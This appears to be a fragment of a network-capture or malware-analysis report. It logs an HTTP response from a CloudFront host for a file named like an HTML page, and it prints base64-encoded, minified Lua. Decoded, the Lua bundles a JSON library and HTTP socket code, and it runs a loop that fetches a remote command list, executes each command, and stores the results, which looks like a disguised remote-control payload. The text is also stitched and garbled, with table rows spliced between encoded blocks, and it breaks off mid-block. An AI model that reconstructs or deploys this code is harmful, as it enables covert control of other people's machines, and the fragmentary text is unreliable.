aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d214gtxr0n6ti0.cloudfront.net (54.192.47.37:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
18 | /v2/tfn5306351516.html(17) | text/html | tfn5306351516.html(17) | 200 OK | TEXT | 46.2 KB | 04/17/19 17:18:13 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
